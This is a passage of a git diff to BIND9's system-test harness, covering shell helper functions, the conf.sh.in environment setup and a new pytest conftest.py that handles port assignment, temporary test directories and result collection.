+    $RNDC -c ../common/rndc.conf -s $2 -p ${CONTROLPORT} reload $3 2>&1 | sed 's/^/'"I:$SYSTESTDIR:$1"' /'
     # reloading single zone is synchronous, if we're reloading whole server
     # we need to wait for reload to finish
     if [ -z "$3" ]; then
-	for __try in 0 1 2 3 4 5 6 7 8 9; do
-	    $RNDC -c ../common/rndc.conf -s $2 -p ${CONTROLPORT} status | grep "reload/reconfig in progress" > /dev/null || break
-	    sleep 1
-	done
+        for _ in $(_times 10); do
+            $RNDC -c ../common/rndc.conf -s $2 -p ${CONTROLPORT} status | grep "reload/reconfig in progress" > /dev/null || break
+            sleep 1
+        done
     fi
 }
 
 rndc_reconfig() {
-    echo_i "`$RNDC -c ../common/rndc.conf -s $2 -p ${CONTROLPORT} reconfig 2>&1 | sed 's/^/'$1' /'`"
-    for __try in 0 1 2 3 4 5 6 7 8 9; do
-	$RNDC -c ../common/rndc.conf -s $2 -p ${CONTROLPORT} status | grep "reload/reconfig in progress" > /dev/null || break
-	sleep 1
+    seconds=${3:-10}
+    $RNDC -c ../common/rndc.conf -s "$2" -p "${CONTROLPORT}" reconfig 2>&1 | sed 's/^/'"I:$SYSTESTDIR:$1"' /'
+    for _ in $(_times "$seconds"); do
+        "$RNDC" -c ../common/rndc.conf -s "$2" -p "${CONTROLPORT}" status | grep "reload/reconfig in progress" > /dev/null || break
+        sleep 1
     done
 }
 
@@ -637,8 +678,8 @@ get_dig_xfer_stats() {
 # them to a format used by some system tests.
 get_named_xfer_stats() {
 	LOGFILE="$1"
-	PEER="`echo $2 | sed 's/\./\\\\./g'`"
-	ZONE="`echo $3 | sed 's/\./\\\\./g'`"
+	PEER="$(echo $2 | sed 's/\./\\./g')"
+	ZONE="$(echo $3 | sed 's/\./\\./g')"
 	MESSAGE="$4"
 	grep " ${PEER}#.*${MESSAGE}:" "${LOGFILE}" | \
 		sed -n "s/.* '${ZONE}\/.* \([0-9][0-9]*\) messages.*/messages=\1/p" | tail -1
@@ -652,16 +693,19 @@ get_named_xfer_stats() {
 #
 # Convenience function to copy a configuration file, replacing the tokens
 # QUERYPORT, CONTROLPORT and EXTRAPORT[1-8] with the values of the equivalent
-# environment variables. (These values are set by "run.sh", which calls the
+# environment variables. (These values are set by test runner, which calls the
 # scripts invoking this function.)
 #
 # Usage:
 #   copy_setports infile outfile
 #
 copy_setports() {
-    sed -e "s/@PORT@/${PORT}/g" \
+    dir=$(echo "$TMPDIR" | sed 's/\//\\\//g')
+
+    sed -e "s/@TMPDIR@/${dir}/g" \
+        -e "s/@PORT@/${PORT}/g" \
         -e "s/@TLSPORT@/${TLSPORT}/g" \
-		-e "s/@HTTPPORT@/${HTTPPORT}/g" \
+        -e "s/@HTTPPORT@/${HTTPPORT}/g" \
         -e "s/@HTTPSPORT@/${HTTPSPORT}/g" \
         -e "s/@EXTRAPORT1@/${EXTRAPORT1}/g" \
         -e "s/@EXTRAPORT2@/${EXTRAPORT2}/g" \
@@ -678,53 +722,33 @@ copy_setports() {
         -e "s/@ALTERNATIVE_ALGORITHM@/${ALTERNATIVE_ALGORITHM}/g" \
         -e "s/@ALTERNATIVE_ALGORITHM_NUMBER@/${ALTERNATIVE_ALGORITHM_NUMBER}/g" \
         -e "s/@ALTERNATIVE_BITS@/${ALTERNATIVE_BITS}/g" \
+        -e "s/@DEFAULT_HMAC@/${DEFAULT_HMAC}/g" \
         -e "s/@DISABLED_ALGORITHM@/${DISABLED_ALGORITHM}/g" \
         -e "s/@DISABLED_ALGORITHM_NUMBER@/${DISABLED_ALGORITHM_NUMBER}/g" \
         -e "s/@DISABLED_BITS@/${DISABLED_BITS}/g" \
         $1 > $2
 }
 
-#
-# Export command paths
-#
-export ARPANAME
-export BIGKEY
-export CDS
-export CHECKZONE
-export CYGWIN
-export DESCRIPTION
-export DIG
-export FEATURETEST
-export FSTRM_CAPTURE
-export GENCHECK
-export JOURNALPRINT
-export KEYCREATE
-export KEYDELETE
-export KEYFRLAB
-export KEYGEN
-export KEYSETTOOL
-export KEYSIGNER
-export KRB5_CONFIG
-export KRB5_KTNAME
-export MAKEJOURNAL
-export MDIG
-export NAMED
-export NSEC3HASH
-export NSLOOKUP
-export NSUPDATE
-export NZD2NZF
-export PERL
-export PIPEQUERIES
-export PK11DEL
-export PK11GEN
-export PK11LIST
-export PSSUSPEND
-export PYTHON
-export RESOLVE
-export RNDC
-export RRCHECKER
-export SIGNER
-export SUBDIRS
-export TMPDIR
-export TSIGKEYGEN
-export WIRETEST
+# parse_openssl_config - Parse OpenSSL configuration for HSM settings
+#
+# Will set SOFTHSM2_MODULE, OPENSSL_ENGINE and ENGINE_ARG based on openssl configuration.
+parse_openssl_config() {
+    ENGINE_ARG=""
+    [ -f "$OPENSSL_CONF" ] || return 0
+    while IFS="=" read key val; do
+        # trim variables
+        key="${key## }"
+        key="${key%% }"
+        val="${val## }"
+        val="${val%% }"
+        case "$key" in
+        "engine_id")
+            OPENSSL_ENGINE="$val"
+            ENGINE_ARG="-E $OPENSSL_ENGINE"
+            ;;
+        "MODULE_PATH"|"pkcs11-module-path")
+            SOFTHSM2_MODULE="$val"
+            ;;
+        esac
+    done < "$OPENSSL_CONF"
+}
diff --git a/bin/tests/system/conf.sh.in b/bin/tests/system/conf.sh.in
index 699edba607..44fe4cd308 100644
--- a/bin/tests/system/conf.sh.in
+++ b/bin/tests/system/conf.sh.in
@@ -2,6 +2,8 @@
 #
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,133 +17,104 @@
 #
 
 # Find the top of the BIND9 tree.
-TOP_BUILDDIR=@abs_top_builddir@
-TOP_SRCDIR=@abs_top_srcdir@
+export TOP_BUILDDIR=@abs_top_builddir@
+export TOP_SRCDIR=@abs_top_srcdir@
 
 # Provide TMPDIR variable for tests that need it.
-TMPDIR=${TMPDIR:-/tmp}
-
-# This is not the windows build.
-CYGWIN=""
+export TMPDIR=${TMPDIR:-/tmp}
+
+export ARPANAME=$TOP_BUILDDIR/bin/tools/arpaname
+export CDS=$TOP_BUILDDIR/bin/dnssec/dnssec-cds
+export CHECKCONF=$TOP_BUILDDIR/bin/check/named-checkconf
+export CHECKZONE=$TOP_BUILDDIR/bin/check/named-checkzone
+if [ -z "$TSAN_OPTIONS" ]; then  # workaround for GL#4119
+    export DELV=$TOP_BUILDDIR/bin/delv/delv
+else
+    export DELV=:
+fi
+export DIG=$TOP_BUILDDIR/bin/dig/dig
+export DNSTAPREAD=$TOP_BUILDDIR/bin/tools/dnstap-read
+export DSFROMKEY=$TOP_BUILDDIR/bin/dnssec/dnssec-dsfromkey
+export FEATURETEST=$TOP_BUILDDIR/bin/tests/system/feature-test
+export FSTRM_CAPTURE=@FSTRM_CAPTURE@
+export HOST=$TOP_BUILDDIR/bin/dig/host
+export IMPORTKEY=$TOP_BUILDDIR/bin/dnssec/dnssec-importkey
+export JOURNALPRINT=$TOP_BUILDDIR/bin/tools/named-journalprint
+export KEYFRLAB=$TOP_BUILDDIR/bin/dnssec/dnssec-keyfromlabel
+export KEYGEN=$TOP_BUILDDIR/bin/dnssec/dnssec-keygen
+export MDIG=$TOP_BUILDDIR/bin/tools/mdig
+export NAMED=$TOP_BUILDDIR/bin/named/named
+export NSEC3HASH=$TOP_BUILDDIR/bin/tools/nsec3hash
+export NSLOOKUP=$TOP_BUILDDIR/bin/dig/nslookup
+export NSUPDATE=$TOP_BUILDDIR/bin/nsupdate/nsupdate
+export NZD2NZF=$TOP_BUILDDIR/bin/tools/named-nzd2nzf
+export REVOKE=$TOP_BUILDDIR/bin/dnssec/dnssec-revoke
+export RNDC=$TOP_BUILDDIR/bin/rndc/rndc
+export RNDCCONFGEN=$TOP_BUILDDIR/bin/confgen/rndc-confgen
+export RRCHECKER=$TOP_BUILDDIR/bin/tools/named-rrchecker
+export SETTIME=$TOP_BUILDDIR/bin/dnssec/dnssec-settime
+export SIGNER=$TOP_BUILDDIR/bin/dnssec/dnssec-signzone
+export TSIGKEYGEN=$TOP_BUILDDIR/bin/confgen/tsig-keygen
+export VERIFY=$TOP_BUILDDIR/bin/dnssec/dnssec-verify
+export WIRETEST=$TOP_BUILDDIR/bin/tests/wire_test
+
+export BIGKEY=$TOP_BUILDDIR/bin/tests/system/rsabigexponent/bigkey
+export GENCHECK=$TOP_BUILDDIR/bin/tests/system/rndc/gencheck
+export MAKEJOURNAL=$TOP_BUILDDIR/bin/tests/system/makejournal
+export PIPEQUERIES=$TOP_BUILDDIR/bin/tests/system/pipelined/pipequeries
 
-# Load common values
-. $TOP_SRCDIR/bin/tests/system/conf.sh.common
+# we don't want a KRB5_CONFIG setting breaking the tests
+export KRB5_CONFIG=/dev/null
+# use local keytab instead of default /etc/krb5.keytab
+export KRB5_KTNAME=dns.keytab
 
-ARPANAME=$TOP_BUILDDIR/bin/tools/arpaname
-CDS=$TOP_BUILDDIR/bin/dnssec/dnssec-cds
-CHECKCONF=$TOP_BUILDDIR/bin/check/named-checkconf
-CHECKZONE=$TOP_BUILDDIR/bin/check/named-checkzone
-DELV=$TOP_BUILDDIR/bin/delv/delv
-DIG=$TOP_BUILDDIR/bin/dig/dig
-DNSTAPREAD=$TOP_BUILDDIR/bin/tools/dnstap-read
-DSFROMKEY=$TOP_BUILDDIR/bin/dnssec/dnssec-dsfromkey
-FEATURETEST=$TOP_BUILDDIR/bin/tests/system/feature-test
-FSTRM_CAPTURE=@FSTRM_CAPTURE@
-HOST=$TOP_BUILDDIR/bin/dig/host
-IMPORTKEY=$TOP_BUILDDIR/bin/dnssec/dnssec-importkey
-JOURNALPRINT=$TOP_BUILDDIR/bin/tools/named-journalprint
-KEYFRLAB=$TOP_BUILDDIR/bin/dnssec/dnssec-keyfromlabel
-KEYGEN=$TOP_BUILDDIR/bin/dnssec/dnssec-keygen
-MDIG=$TOP_BUILDDIR/bin/tools/mdig
-NAMED=$TOP_BUILDDIR/bin/named/named
-NSEC3HASH=$TOP_BUILDDIR/bin/tools/nsec3hash
-NSLOOKUP=$TOP_BUILDDIR/bin/dig/nslookup
-NSUPDATE=$TOP_BUILDDIR/bin/nsupdate/nsupdate
-NZD2NZF=$TOP_BUILDDIR/bin/tools/named-nzd2nzf
-PK11DEL="$TOP_BUILDDIR/bin/pkcs11/pkcs11-destroy -s ${SLOT:-0} -p ${HSMPIN:-1234} -w 0"
-PK11GEN="$TOP_BUILDDIR/bin/pkcs11/pkcs11-keygen -q -s ${SLOT:-0} -p ${HSMPIN:-1234}"
-PK11LIST="$TOP_BUILDDIR/bin/pkcs11/pkcs11-list -s ${SLOT:-0} -p ${HSMPIN:-1234}"
-RESOLVE=$TOP_BUILDDIR/bin/tests/system/resolve
-REVOKE=$TOP_BUILDDIR/bin/dnssec/dnssec-revoke
-RNDC=$TOP_BUILDDIR/bin/rndc/rndc
-RNDCCONFGEN=$TOP_BUILDDIR/bin/confgen/rndc-confgen
-RRCHECKER=$TOP_BUILDDIR/bin/tools/named-rrchecker
-SETTIME=$TOP_BUILDDIR/bin/dnssec/dnssec-settime
-SIGNER=$TOP_BUILDDIR/bin/dnssec/dnssec-signzone
-TSIGKEYGEN=$TOP_BUILDDIR/bin/confgen/tsig-keygen
-VERIFY=$TOP_BUILDDIR/bin/dnssec/dnssec-verify
-WIRETEST=$TOP_BUILDDIR/bin/tests/wire_test
+#
+# Programs detected by configure
+# Variables will be empty if no program was found by configure
+#
+export SHELL=@SHELL@
+export CURL=@CURL@
+export NC=@NC@
+export XMLLINT=@XMLLINT@
+export XSLTPROC=@XSLTPROC@
+export PYTEST=@PYTEST@
 
-BIGKEY=$TOP_BUILDDIR/bin/tests/system/rsabigexponent/bigkey
-GENCHECK=$TOP_BUILDDIR/bin/tests/system/rndc/gencheck
-KEYCREATE=$TOP_BUILDDIR/bin/tests/system/tkey/keycreate
-KEYDELETE=$TOP_BUILDDIR/bin/tests/system/tkey/keydelete
-MAKEJOURNAL=$TOP_BUILDDIR/bin/tests/system/makejournal
-PIPEQUERIES=$TOP_BUILDDIR/bin/tests/system/pipelined/pipequeries
+#
+# Interpreters for system tests detected by configure
+#
+export PERL=$(command -v "@PERL@" || true)
+if ! test -x "$PERL"; then
+    echo "Perl interpreter is required for system tests."
+    exit 77
+fi
+export PYTHON=$(command -v "@PYTHON@" || true)
+if ! test -x "$PYTHON"; then
+    echo "Python interpreter is required for system tests."
+    exit 77
+fi
 
-# we don't want a KRB5_CONFIG setting breaking the tests
-KRB5_CONFIG=/dev/null
-# use local keytab instead of default /etc/krb5.keytab
-KRB5_KTNAME=dns.keytab
+# Load common values
+. $TOP_SRCDIR/bin/tests/system/conf.sh.common
 
 #
 # Construct the lists of tests to run
 #
-SEQUENTIAL_UNIX="@PKCS11_TEST@"
-SEQUENTIALDIRS="$SEQUENTIAL_COMMON $SEQUENTIAL_UNIX"
-
-PARALLEL_UNIX="@DNSTAP@
-chain
+PARALLEL_UNIX="chain
+checkds
 cookie
 dlzexternal
 dnssec
 dyndb
+enginepkcs11
 filter-aaaa
 kasp
-keymgr2kasp
+keyfromlabel
 legacy
 logfileconfig
+multisigner
 nzd2nzf
 pipelined
 qmin
 shutdown
 tcp"
-PARALLELDIRS="$PARALLEL_COMMON $PARALLEL_UNIX"
-
-SUBDIRS="$SEQUENTIALDIRS $PARALLELDIRS"
-
-
-# Things that are different on Windows
-KILL=kill
-DIFF=diff
-DOS2UNIX=true
-# There's no trailing period on Windows
-TP=.
-
-# Use the CONFIG_SHELL detected by configure for tests
-SHELL=@SHELL@
-
-# CURL will be empty if no program was found by configure
-CURL=@CURL@
-
-# XMLLINT will be empty if no program was found by configure
-XMLLINT=@XMLLINT@
-
-# XSLTPROC will be empty if no program was found by configure
-XSLTPROC=@XSLTPROC@
-
-# PERL will be an empty string if no perl interpreter was found.
-PERL=$(command -v "@PERL@")
-
-# Windows process management leave empty
-PSSUSPEND=
-
-PYTHON=$(command -v "@PYTHON@" || true)
-PYTEST=@PYTEST@
-
-#
-# Determine if we support various optional features.
-#
-LIBXML2_LIBS="@LIBXML2_LIBS@"
-HAVEXMLSTATS=${LIBXML2_LIBS:+1}
-JSON_C_LIBS="@JSON_C_LIBS@"
-HAVEJSONSTATS=${JSON_C_LIBS:+1}
-MAXMINDDB_LIBS="@MAXMINDDB_LIBS@"
-HAVEGEOIP2=${MAXMINDDB_LIBS:+1}
-ZLIB_LIBS="@ZLIB_LIBS@"
-HAVEZLIB=${ZLIB_LIBS:+1}
-LMDB_LIBS="@LMDB_LIBS@"
-NZD=${LMDB_LIBS:+1}
-CRYPTO=@CRYPTO@
-
-export HAVEXMLSTATS HAVEJSONSTATS
+SUBDIRS="$PARALLEL_COMMON $PARALLEL_UNIX"
diff --git a/bin/tests/system/conftest.py b/bin/tests/system/conftest.py
new file mode 100644
index 0000000000..0be546b810
--- /dev/null
+++ b/bin/tests/system/conftest.py
@@ -0,0 +1,638 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+import logging
+import os
+import pytest
+
+
+# ======================= LEGACY=COMPATIBLE FIXTURES =========================
+# The following fixtures are designed to work with both pytest system test
+# runner and the legacy system test framework.
+#
+# FUTURE: Rewrite the individual port fixtures to re-use the `ports` fixture.
+
+
+@pytest.fixture(scope="module")
+def named_port():
+    return int(os.environ.get("PORT", default=5300))
+
+
+@pytest.fixture(scope="module")
+def named_tlsport():
+    return int(os.environ.get("TLSPORT", default=8853))
+
+
+@pytest.fixture(scope="module")
+def named_httpsport():
+    return int(os.environ.get("HTTPSPORT", default=4443))
+
+
+@pytest.fixture(scope="module")
+def control_port():
+    return int(os.environ.get("CONTROLPORT", default=9953))
+
+
+if os.getenv("LEGACY_TEST_RUNNER", "0") != "0":
+
+    @pytest.fixture
+    def logger(request):
+        """Logging facility specific to a particular test."""
+        return logging.getLogger(request.node.name)
+
+else:
+    # ======================= PYTEST SYSTEM TEST RUNNER ==========================
+    # From this point onward, any setting, fixtures or functions only apply to the
+    # new pytest runner. Ideally, these would be in a separate file. However, due
+    # to how pytest works and how it's used by the legacy runner, the best approach
+    # is to have everything in this file to avoid duplication and set the
+    # LEGACY_TEST_RUNNER if pytest is executed from the legacy framework.
+    #
+    # FUTURE: Once legacy runner is no longer supported, remove the env var and
+    # don't branch the code.
+
+    from functools import partial
+    from pathlib import Path
+    import re
+    import shutil
+    import subprocess
+    import tempfile
+    import time
+    from typing import Any, Dict, List, Optional
+
+    # Silence warnings caused by passing a pytest fixture to another fixture.
+    # pylint: disable=redefined-outer-name
+
+    # ----------------- Older pytest / xdist compatibility -------------------
+    # As of 2023-01-11, the minimal supported pytest / xdist versions are
+    # determined by what is available in EL8/EPEL8:
+    # - pytest 3.4.2
+    # - pytest-xdist 1.24.1
+    _pytest_ver = pytest.__version__.split(".")
+    _pytest_major_ver = int(_pytest_ver[0])
+    if _pytest_major_ver < 7:
+        # pytest.Stash/pytest.StashKey mechanism has been added in 7.0.0
+        # for older versions, use regular dictionary with string keys instead
+        FIXTURE_OK = "fixture_ok"  # type: Any
+    else:
+        FIXTURE_OK = pytest.StashKey[bool]()  # pylint: disable=no-member
+
+    # ----------------------- Globals definition -----------------------------
+
+    LOG_FORMAT = "%(asctime)s %(levelname)7s:%(name)s  %(message)s"
+    XDIST_WORKER = os.environ.get("PYTEST_XDIST_WORKER", "")
+    FILE_DIR = os.path.abspath(Path(__file__).parent)
+    ENV_RE = re.compile(b"([^=]+)=(.*)")
+    PORT_MIN = 5001
+    PORT_MAX = 32767
+    PORTS_PER_TEST = 20
+    PRIORITY_TESTS = [
+        # Tests that are scheduled first. Speeds up parallel execution.
+        "rpz/",
+        "rpzrecurse/",
+        "serve-stale/",
+        "timeouts/",
+        "upforwd/",
+    ]
+    PRIORITY_TESTS_RE = re.compile("|".join(PRIORITY_TESTS))
+    CONFTEST_LOGGER = logging.getLogger("conftest")
+    SYSTEM_TEST_DIR_GIT_PATH = "bin/tests/system"
+    SYSTEM_TEST_NAME_RE = re.compile(f"{SYSTEM_TEST_DIR_GIT_PATH}" + r"/([^/]+)")
+    SYMLINK_REPLACEMENT_RE = re.compile(r"/tests(_sh(?=_))?(.*)\.py")
+
+    # ---------------------- Module initialization ---------------------------
+
+    def init_pytest_conftest_logger(conftest_logger):
+        """
+        This initializes the conftest logger which is used for pytest setup
+        and configuration before tests are executed -- aka any logging in this
+        file that is _not_ module-specific.
+        """
+        conftest_logger.setLevel(logging.DEBUG)
+        file_handler = logging.FileHandler("pytest.conftest.log.txt")
+        file_handler.setLevel(logging.DEBUG)
+        file_handler.setFormatter(logging.Formatter(LOG_FORMAT))
+        conftest_logger.addHandler(file_handler)
+
+    init_pytest_conftest_logger(CONFTEST_LOGGER)
+
+    def avoid_duplicated_logs():
+        """
+        Remove direct root logger output to file descriptors.
+        This default is causing duplicates because all our messages go through
+        regular logging as well and are thus displayed twice.
+        """
+        todel = []
+        for handler in logging.root.handlers:
+            if handler.__class__ == logging.StreamHandler:
+                # Beware: As for pytest 7.2.2, LiveLogging and LogCapture
+                # handlers inherit from logging.StreamHandler
+                todel.append(handler)
+        for handler in todel:
+            logging.root.handlers.remove(handler)
+
+    def parse_env(env_bytes):
+        """Parse the POSIX env format into Python dictionary."""
+        out = {}
+        for line in env_bytes.splitlines():
+            match = ENV_RE.match(line)
+            if match:
+                # EL8+ workaround for https://access.redhat.com/solutions/6994985
+                # FUTURE: can be removed when we no longer need to parse env vars
+                if match.groups()[0] in [b"which_declare", b"BASH_FUNC_which%%"]:
+                    continue
+                out[match.groups()[0]] = match.groups()[1]
+        return out
+
+    def get_env_bytes(cmd):
+        try:
+            proc = subprocess.run(
+                [cmd],
+                shell=True,
+                check=True,
+                cwd=FILE_DIR,
+                stdout=subprocess.PIPE,
+            )
+        except subprocess.CalledProcessError as exc:
+            CONFTEST_LOGGER.error("failed to get shell env: %s", exc)
+            raise exc
+        env_bytes = proc.stdout
+        return parse_env(env_bytes)
+
+    # Read common environment variables for running tests from conf.sh.
+    # FUTURE: Remove conf.sh entirely and define all variables in pytest only.
+    CONF_ENV = get_env_bytes(". ./conf.sh && env")
+    os.environb.update(CONF_ENV)
+    CONFTEST_LOGGER.debug(
+        "variables in env: %s", ", ".join([str(key) for key in CONF_ENV])
+    )
+
+    # --------------------------- pytest hooks -------------------------------
+
+    def pytest_addoption(parser):
+        parser.addoption(
+            "--noclean",
+            action="store_true",
+            default=False,
+            help="don't remove the temporary test directories with artifacts",
+        )
+
+    def pytest_configure(config):
+        # Ensure this hook only runs on the main pytest instance if xdist is
+        # used to spawn other workers.
+        if not XDIST_WORKER:
+            if config.pluginmanager.has_plugin("xdist") and config.option.numprocesses:
+                # system tests depend on module scope for setup & teardown
+                # enforce use "loadscope" scheduler or disable paralelism
+                try:
+                    import xdist.scheduler.loadscope  # pylint: disable=unused-import
+                except ImportError:
+                    CONFTEST_LOGGER.debug(
+                        "xdist is too old and does not have "
+                        "scheduler.loadscope, disabling parallelism"
+                    )
+                    config.option.dist = "no"
+                else:
+                    config.option.dist = "loadscope"
+
+    def pytest_ignore_collect(path):
+        # System tests are executed in temporary directories inside
+        # bin/tests/system. These temporary directories contain all files
+        # needed for the system tests - including tests_*.py files. Make sure to
+        # ignore these during test collection phase. Otherwise, test artifacts
+        # from previous runs could mess with the runner. Also ignore the
+        # convenience symlinks to those test directories. In both of those
+        # cases, the system test name (directory) contains an underscore, which
+        # is otherwise and invalid character for a system test name.
+        match = SYSTEM_TEST_NAME_RE.search(str(path))
+        if match is None:
+            CONFTEST_LOGGER.warning("unexpected test path: %s (ignored)", path)
+            return True
+        system_test_name = match.groups()[0]
+        return "_" in system_test_name
+
+    def pytest_collection_modifyitems(items):
+        """Schedule long-running tests first to get more benefit from parallelism."""
+        priority = []
+        other = []
+        for item in items:
+            if PRIORITY_TESTS_RE.search(item.nodeid):
+                priority.append(item)
+            else:
+                other.append(item)
+        items[:] = priority + other
+
+    class NodeResult:
+        def __init__(self, report=None):
+            self.outcome = None
+            self.messages = []
+            if report is not None:
+                self.update(report)
+
+        def update(self, report):
+            if self.outcome is None or report.outcome != "passed":
+                self.outcome = report.outcome
+            if report.longreprtext:
+                self.messages.append(report.longreprtext)
+
+    @pytest.hookimpl(tryfirst=True, hookwrapper=True)
+    def pytest_runtest_makereport(item):
+        """Hook that is used to expose test results to session (for use in fixtures)."""
+        # execute all other hooks to obtain the report object
+        outcome = yield
+        report = outcome.get_result()
+
+        # Set the test outcome in session, so we can access it from module-level
+        # fixture using nodeid. Note that this hook is called three times: for
+        # setup, call and teardown. We only care about the overall result so we
+        # merge the results together and preserve the information whether a test
+        # passed.
+        test_results = {}
+        try:
+            test_results = getattr(item.session, "test_results")
+        except AttributeError:
+            setattr(item.session, "test_results", test_results)
+        node_result = test_results.setdefault(item.nodeid, NodeResult())
+        node_result.update(report)
+
+    # --------------------------- Fixtures -----------------------------------
+
+    @pytest.fixture(scope="session")
+    def modules():
+        """Sorted list of all modules. Used to determine port distribution."""
+        mods = []
+        for dirpath, _dirs, files in os.walk(os.getcwd()):
+            for file in files:
+                if file.startswith("tests_") and file.endswith(".py"):
+                    mod = f"{dirpath}/{file}"
+                    mods.append(mod)
+        return sorted(mods)
+
+    @pytest.fixture(scope="session")
+    def module_base_ports(modules):
+        """
+        Dictionary containing assigned base port for every module.
+
+        Note that this is a session-wide fixture. The port numbers are
+        deterministically assigned before any testing starts. This fixture MUST
+        return the same value when called again during the same test session.
+        When running tests in parallel, this is exactly what happens - every
+        worker thread will call this fixture to determine test ports.
+        """
+        port_min = PORT_MIN
+        port_max = PORT_MAX - len(modules) * PORTS_PER_TEST
+        if port_max < port_min:
+            raise RuntimeError(
+                "not enough ports to assign unique port set to each module"
+            )
+
+        # Rotate the base port value over time to detect possible test issues
+        # with using random ports. This introduces a very slight race condition
+        # risk. If this value changes between pytest invocation and spawning
+        # worker threads, multiple tests may have same port values assigned. If
+        # these tests are then executed simultaneously, the test results will
+        # be misleading.
+        base_port = int(time.time() // 3600) % (port_max - port_min) + port_min
+
+        return {mod: base_port + i * PORTS_PER_TEST for i, mod in enumerate(modules)}
+
+    @pytest.fixture(scope="module")
+    def base_port(request, module_base_ports):
+        """Start of the port range assigned to a particular test module."""
+        port = module_base_ports[request.fspath]
+        return port
+
+    @pytest.fixture(scope="module")
+    def ports(base_port):
+        """Dictionary containing port names and their assigned values."""
+        return {
+            "PORT": str(base_port),
+            "TLSPORT": str(base_port + 1),
+            "HTTPPORT": str(base_port + 2),
+            "HTTPSPORT": str(base_port + 3),
+            "EXTRAPORT1": str(base_port + 4),
+            "EXTRAPORT2": str(base_port + 5),
+            "EXTRAPORT3": str(base_port + 6),
+            "EXTRAPORT4": str(base_port + 7),
+            "EXTRAPORT5": str(base_port + 8),
+            "EXTRAPORT6": str(base_port + 9),
+            "EXTRAPORT7": str(base_port + 10),
+            "EXTRAPORT8": str(base_port + 11),
+            "CONTROLPORT": str(base_port + 12),
+        }
+
+    @pytest.fixture(scope="module")
+    def env(ports):
+        """Dictionary containing environment variables for the test."""
+        env = os.environ.copy()
+        env.update(ports)
+        env["builddir"] = f"{env['TOP_BUILDDIR']}/{SYSTEM_TEST_DIR_GIT_PATH}"
+        env["srcdir"] = f"{env['TOP_SRCDIR']}/{SYSTEM_TEST_DIR_GIT_PATH}"
+        return env
+
+    @pytest.fixture(scope="module")
+    def system_test_name(request):
+        """Name of the system test directory."""
+        path = Path(request.fspath)
+        return path.parent.name
+
+    @pytest.fixture(scope="module")
+    def mlogger(system_test_name):
+        """Logging facility specific to this test module."""
+        avoid_duplicated_logs()
+        return logging.getLogger(system_test_name)
+
+    @pytest.fixture
+    def logger(request, system_test_name):
+        """Logging facility specific to a particular test."""
+        return logging.getLogger(f"{system_test_name}.{request.node.name}")
+
+    @pytest.fixture(scope="module")
+    def system_test_dir(
+        request, env, system_test_name, mlogger
+    ):  # pylint: disable=too-many-statements,too-many-locals
+        """
+        Temporary directory for executing the test.
+
+        This fixture is responsible for creating (and potentially removing) a
+        copy of the system test directory which is used as a temporary
+        directory for the test execution.
+
+        FUTURE: This removes the need to have clean.sh scripts.
+        """
+
+        def get_test_result():
+            """Aggregate test results from all individual tests from this module
+            into a single result: failed > skipped > passed."""
+            try:
+                all_test_results = request.session.test_results
+            except AttributeError:
+                # This may happen if pytest execution is interrupted and
+                # pytest_runtest_makereport() is never called.
+                mlogger.debug("can't obtain test results, test run was interrupted")
+                return "error"
+            test_results = {
+                node.nodeid: all_test_results[node.nodeid]
+                for node in request.node.collect()
+                if node.nodeid in all_test_results
+            }
+            assert len(test_results)
+            messages = []
+            for node, result in test_results.items():
+                mlogger.debug("%s %s", result.outcome.upper(), node)
+                messages.extend(result.messages)
+            for message in messages:
+                mlogger.debug("\n" + message)
+            failed = any(res.outcome == "failed" for res in test_results.values())
+            skipped = any(res.outcome == "skipped" for res in test_results.values())
+            if failed:
+                return "failed"
+            if skipped:
+                return "skipped"
+            assert all(res.outcome == "passed" for res in test_results.values())
+            return "passed"
+
+        def unlink(path):
+            try:
+                path.unlink()  # missing_ok=True isn't available on Python 3.6
+            except FileNotFoundError:
+                pass
+
+        # Create a temporary directory with a copy of the original system test dir contents
+        system_test_root = Path(f"{env['TOP_BUILDDIR']}/{SYSTEM_TEST_DIR_GIT_PATH}")
+        testdir = Path(
+            tempfile.mkdtemp(prefix=f"{system_test_name}_tmp_", dir=system_test_root)
+        )
+        shutil.rmtree(testdir)
+        shutil.copytree(system_test_root / system_test_name, testdir)
+
+        # Create a convenience symlink with a stable and predictable name
+        module_name = SYMLINK_REPLACEMENT_RE.sub(r"\2", request.node.name)
+        symlink_dst = system_test_root / module_name
+        unlink(symlink_dst)
+        symlink_dst.symlink_to(os.path.relpath(testdir, start=system_test_root))
+
+        # Configure logger to write to a file inside the temporary test directory
+        mlogger.handlers.clear()
+        mlogger.setLevel(logging.DEBUG)
+        handler = logging.FileHandler(testdir / "pytest.log.txt", mode="w")
+        formatter = logging.Formatter(LOG_FORMAT)
+        handler.setFormatter(formatter)
+        mlogger.addHandler(handler)
+
+        # System tests are meant to be executed from their directory - switch to it.
+        old_cwd = os.getcwd()
+        os.chdir(testdir)
+        mlogger.debug("switching to tmpdir: %s", testdir)
+        try:
+            yield testdir  # other fixtures / tests will execute here
+        finally:
+            os.chdir(old_cwd)
+            mlogger.debug("changed workdir to: %s", old_cwd)
+
+            result = get_test_result()
+
+            # Clean temporary dir unless it should be kept
+            keep = False
+            if request.config.getoption("--noclean"):
+                mlogger.debug(
+                    "--noclean requested, keeping temporary directory %s", testdir
+                )
+                keep = True
+            elif result == "failed":
+                mlogger.debug(
+                    "test failure detected, keeping temporary directory %s", testdir
+                )
+                keep = True
+            elif not request.node.stash[FIXTURE_OK]:
+                mlogger.debug(
+                    "test setup/teardown issue detected, keeping temporary directory %s",
+                    testdir,
+                )
+                keep = True
+
+            if keep:
+                mlogger.info(
+                    "test artifacts in: %s", symlink_dst.relative_to(system_test_root)
+                )
+            else:
+                mlogger.debug("deleting temporary directory")
+                handler.flush()
+                handler.close()
+                shutil.rmtree(testdir)
+                unlink(symlink_dst)
+
+    def _run_script(  # pylint: disable=too-many-arguments
+        env,
+        mlogger,
+        system_test_dir: Path,
+        interpreter: str,
+        script: str,
+        args: Optional[List[str]] = None,
